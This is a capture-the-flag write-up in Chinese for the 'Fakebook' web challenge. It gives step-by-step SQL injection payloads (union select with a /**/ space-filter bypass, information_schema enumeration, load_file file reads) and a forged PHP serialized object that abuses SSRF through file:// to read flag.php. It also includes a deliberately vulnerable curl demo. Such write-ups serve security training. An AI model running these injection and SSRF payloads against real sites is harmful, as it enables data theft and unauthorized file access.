打开题目
第一种解法
我们先随便join一下
这里起初我的四个框都是随便填1的,但是发现注册不了,几经尝试以后发现blog那个框里面必须填一个类似什么网页的域名,例如我乱写的qqq.com,bai.com等
所以我最后乱填了个baidu.com就注册成功了
其余都是乱填1
加入成功
点击我们的用户名
发现了注入点?no=1 原因是在1后面乱加什么东西,都会对页面结果产生影响
接下来我们判断列名字段数
?no=1 order by 4 # 页面正常
?no=1 order by 5 # 页面错误
说明列名字段数为4
我们用联合注入查询时,发现过滤了空格,我们用/**/来绕过空格
?no=11 union/**/select 1,2,3,4 #
发现回显位是2
?no=11 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
发现username下回显了users,说明表名为users
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users' #
发现有no,username,passwd,data四个列名字段
?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #
或者
?no=-1 union/**/select 1,concat_ws(no,username,passwd,data),3,4 from users #
同时我们还发现了反序列化函数
查看页面源代码无果后,我们访问robots.txt看看
/user.php.bak,访问这个
代码如下
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
这段代码很有可能存在ssrf漏洞
查看页面源代码得到
这段对应网页的博客内容
而我们之前爆出来的字段正是序列化后的内容
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}
说明注册时会序列化我们的注册信息,回显到页面时再反序列化。
而这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf漏洞
修改自己最后blog字段内容,改为file:///var/www/html/flag.php
,并把对应的s改为对应长度29
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
之前爆破出来的data字段在第四位,所以我们放在第四位
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
看源代码,点击data的链接,得到flag
第二种解法
我们之前在爆破列名字段数时,看见了页面回显的错误信息
报错位置在**/var/www/html/db.php**
那我们是不是可以用sql数据库提供的load_file读取文件函数呢
?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #
查看页面源代码直接得到flag
做题思路
1.判断注入点
我们发现了sql注入点?no=1,在1后面加内容可以对页面结果造成影响
2.判断列名字段数
?no=1 order by 4 # 页面正常
?no=1 order by 5 # 页面错误
说明列名字段数为4
3.爆破表名
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
知道表名为users
4.爆破列名
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #
或
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users' #
爆破出来no,username,passwd,data四个列名
5.爆破数据
?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #
爆破得到username列下的数据
同时发现反序列化函数unserialize()
6.访问robots.txt查看源码
在下面发现了
/user.php.bak
访问,查看源码发现了ssrf漏洞
7.查看博客的源代码
发现data所指的内容就是博客的内容,构成了一个ssrf漏洞
8.利用之前在username爆破出来的序列化数据构造payload
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}
构造payload,指向flag
/var/www/html/flag.php,利用伪协议文件包含 file:// 访问本地文件系统
并修改长度
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
9.修改data的内容,使其指向flag的链接,查看源代码即可得到flag
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
知识点:
- 什么是ssrf
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
- SSRF的形成原因
大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器
- ssrf漏洞产生相关函数:
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
- 漏洞Demo:
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>
一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
举例 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。
所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。
-
反序列化函数
-
- serialize和unserialize函数
-
- json_encode 和 json_decode
-
- var_export 和 eval
-
- wddx_serialize_value 和 wddx deserialize
-
反序列化和序列化
序列化(串行化):是将变量转换为可保存或传输的字符串的过程;
反序列化(反串行化):就是在适当的时候把这个字符串再转化成原来的变量使用。
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。
相关文章链接见:
BUUCTF [网鼎杯 2018]Fakebook 1_buuctf fakebook 1___byb__的博客-CSDN博客